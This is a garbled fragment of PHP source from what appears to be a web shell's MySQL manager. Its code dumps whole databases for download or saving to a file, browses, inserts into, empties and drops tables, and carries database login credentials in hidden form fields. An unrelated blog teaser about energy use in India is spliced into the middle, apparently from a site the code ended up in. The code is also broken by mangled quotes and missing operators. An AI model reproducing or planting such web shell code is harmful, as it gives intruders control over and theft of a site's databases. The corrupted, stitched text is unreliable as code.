t=”1”>
< ?php
if (!empty($sql_act)) {echo “
ql_act "newtbl")
{

echo "<b>";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB "".htmlspecialchars($sql_newdb)."" has been created with success!</b><br>";
}

else {echo "Can't create DB "".htmlspecialchars($sql_newdb)."".<br>Reason: ".mysql_smarterror();}
}

elseif ($sql_act “dump”)
{

if (empty($submit))
{

$diplay = false;
echo “

SQL-Dump:

“;
echo “DB: 

“;
$v = join (“;”,$dmptbls);
echo “Only tables (explode “;”) 1: 

“;
if ($dump_file) {$tmp = $dump_file;}
else {$tmp = htmlspecialchars(“./dump_”.$SERVER_NAME.”_”.$sql_db.”_”.date(“d-m-Y-H-i-s”).”.sql”);}
echo “File: 

“;
echo “Download:  

“;
echo “Save to file:  “;
echo “



1 – all, if empty”;
echo “
“;
}

else
{

$diplay = true;
$set = array();
$set[“sock”] = $sql_sock;
$set[“db”] = $sql_db;
$dump_out = “download”;
$set[“print”] = 0;
$set[“nl2br”] = 0;
$set[“”] = 0;
$set[“file”] = $dump_file;
$set[“add_drop”] = true;
$set[“onlytabs”] = array();
if (!empty($dmptbls)) {$set[“onlytabs”] = explode(“;”,$dmptbls);}
$ret = mysql_dump($set);
if ($sql_dump_download)
{

@ob_clean();
header(“Content-type: application/octet-stream”);
header(“Content-length: “.strlen($ret));
header(“Content-disposition: attachment; filename=”“.basename($sql_dump_file).”“;”);
echo $ret;
exit;
}

elseif ($sql_dump_savetofile)
{

$fp = fopen($sql_dump_file,”w”);
if (!$fp) {echo “,$ret);
fclose($fp);
echo “Dumped! Dump has been writed to “”.htmlspecialchars(realpath($sql_dump_file)).”” (“.view_size(filesize($sql_dump_file)).”).”;
}

}
else {echo “Dump: nothing to do!“;}
}

}
if ($diplay)
{

if (!empty($sql_tbl))
{

if (empty($sql_tbl_act)) {$sql_tbl_act = “browse”;}
$count = mysql_query(“SELECT COUNT FROM `”.$sql_tbl.”`;”);
$count_row = mysql_fetch_array($count);
mysql_free_result($count);
$tbl_struct_result = mysql_query(“SHOW FIELDS FROM `”.$sql_tbl.”`;”);
$tbl_struct_fields = array();
while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
$perpage = $sql_tbl_le – $sql_tbl_ls;
if (!is_numeric($perpage)) {$perpage = 10;}
$numpages = $count_row[0]/$perpage;
$e = explode(” “,$sql_order);
if (count($e) 2)
{

if ($e[0] “d”) {$asc_desc = “DESC”;}
else {$asc_desc = “ASC”;}
$v = “ORDER BY `”.$e[1].”` “.$asc_desc.” “;
}

else {$v = “”;}
$query = “SELECT * FROM `”.$sql_tbl.”` “.$v.”LIMIT “.$sql_tbl_ls.” , “.$perpage.”“;
$result = mysql_query($query) or print(mysql_smarterror());
echo “


Table “.htmlspecialchars($sql_tbl).” (“.mysql_num_fields($result).” cols and “.$count_row[0].” rows)
“;
echo “Structure ]   ”;
echo “Browse ]   ”;
echo “Dump ]   ”;
echo “Insert ]   ”;
if ($sql_tbl_act "structure") {echo "<br><br><b>Coming sooon!</b>";}
if ($sql_tbl_act “insert”)
{

if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
if (!empty($sql_tbl_insert_radio))
{

}
else
{

echo “

Inserting row into table:
“;
if (!empty($sql_tbl_insert_q))
{

$sql_query = “SELECT * FROM `”.$sql_tbl.”`”;
$sql_query .= ” WHERE”.$sql_tbl_insert_q;
$sql_query .= ” LIMIT 1;”;
$result = mysql_query($sql_query,$sql_sock) or print(“

“.mysql_smarterror());
$values = mysql_fetch_assoc($result);
mysql_free_result($result);
}

else {$values = array();}
echo “

“;
foreach ($tbl_struct_fields as $field)
{

$name = $field[“Field”];
if (empty($sql_tbl_insert_q)) {$v = “”;}
echo “

$i++;
}

echo “

FieldTypeFunctionValue
“.htmlspecialchars($name).”“.$field[“Type”].”

“;
echo “Insert as new row“;
if (!empty($sql_tbl_insert_q)) {echo ” or Save“; echo ““;}
echo “

“;
}

}
if ($sql_tbl_act "browse")
{

$sql_tbl_ls = abs($sql_tbl_ls);
$sql_tbl_le = abs($sql_tbl_le);
echo "<hr size="1" noshade>."act=img&img=multipage" height="12" width="10" alt="Pages">&nbsp;";
$b = 0;
for($i=0;$i< $numpages;$i++)
{

if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href="".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage).""><u>";}
echo $i;
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u>";}
if (($i/30 round($i/30)) and ($i > 0)) {echo “
“;}
else {echo “ ”;}
}

if ($i 0) {echo "empty";}
echo "<form method="GET"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_db" value="".htmlspecialchars($sql_db).""><input type="hidden" name="sql_login" value="".htmlspecialchars($sql_login).""><input type="hidden" name="sql_passwd" value="".htmlspecialchars($sql_passwd).""><input type="hidden" name="sql_server" value="".htmlspecialchars($sql_server).""><input type="hidden" name="sql_port" value="".htmlspecialchars($sql_port).""><input type="hidden" name="sql_tbl" value="".htmlspecialchars($sql_tbl).""><input type="hidden" name="sql_order" value="".htmlspecialchars($sql_order).""><b>From:</b>&nbsp;<input type="text" name="sql_tbl_ls" value="".$sql_tbl_ls."">&nbsp;<b>To:</b>&nbsp;<input type="text" name="sql_tbl_le" value="".$sql_tbl_le."">&nbsp;<input type="submit" value="View"></input></input></input></input></input></input></input></input></input></input></input></form>";
echo "<br>1%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
echo "<tr>";
echo "<td><input type="checkbox" name="boxrow_all" value="1"></input></td>";
for ($i=0;$i<mysql_num_fields ($result);$i++)
{

$v = mysql_field_name($result,$i);
if ($e[0] “a”) {$s = “d”; $m = “asc”;}
else {$s = “a”; $m = “desc”;}
echo “f (empty($e[0])) {$e[0] = “a”;}
if ($e[1] != $v) {echo ““.$v.”“;}
else {echo ““.$v.”“;}
echo “”;
}

echo “Action“;
echo ““;
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
{

echo “ $i = 0;
foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= ” `”.$name.”` = ‘”.addslashes($v).”’ AND”; $i++;}
if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
echo ““;
$i = 0;
foreach ($row as $k=>$v)
{

$v = htmlspecialchars($v);
if ($v == “”) {$v = “;}
echo ““.$v.”“;
$i++;
}

echo ““;
echo “Delete ”;
echo “Edit ”;
echo ““;
echo “
“;
}

mysql_free_result($result);
echo “
“1” noshade>

.”act=img&img=arrow_ltr” border=”0”> 

“;
}

}
else
{

$result = mysql_query(“SHOW TABLE STATUS”, $sql_sock);
if (!$result) {echo mysql_smarterror();}
else
{

echo “
=”POST”>

“;
$i = 0;
$tsize = $trows = 0;
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
{

$tsize += $row[“Data_length”];
$trows += $row[“Rows”];
$size = view_size($row[“Data_length”]);
echo “

“;
echo ““;
echo ““;
echo ““;
echo ““;
echo ““;
echo ““;
echo ““;
echo ““;
echo ““;
$i++;
}

echo “

“;
echo ““;
echo ““;
echo ““;
echo ““;

Energy Use in India: How are we doing?
by Dr Ajay Mathur

The energy sector absorbs the largest chunk of resources invested in the Indian economy, and also accounts for the largest share of the national imports bill. All these resources go towards supplying increasing amounts of energy to the Indian economy, though there continues to be a deficit in both energy supply and in access to supply. (more…)



bleRowsTypeCreatedModifiedSizeAction
=”“.$sql_surl.”sql_tbl=”.urlencode($row[“Name”]).”“>“.$row[“Name”].” “.$row[“Rows”].”“.$row[“Type”].”“.$row[“Create_time”].”“.$row[“Update_time”].”“.$size.” Empty  Drop Insert 
»
“.$i.” table(s)
“.$trows.”“.$row[1].”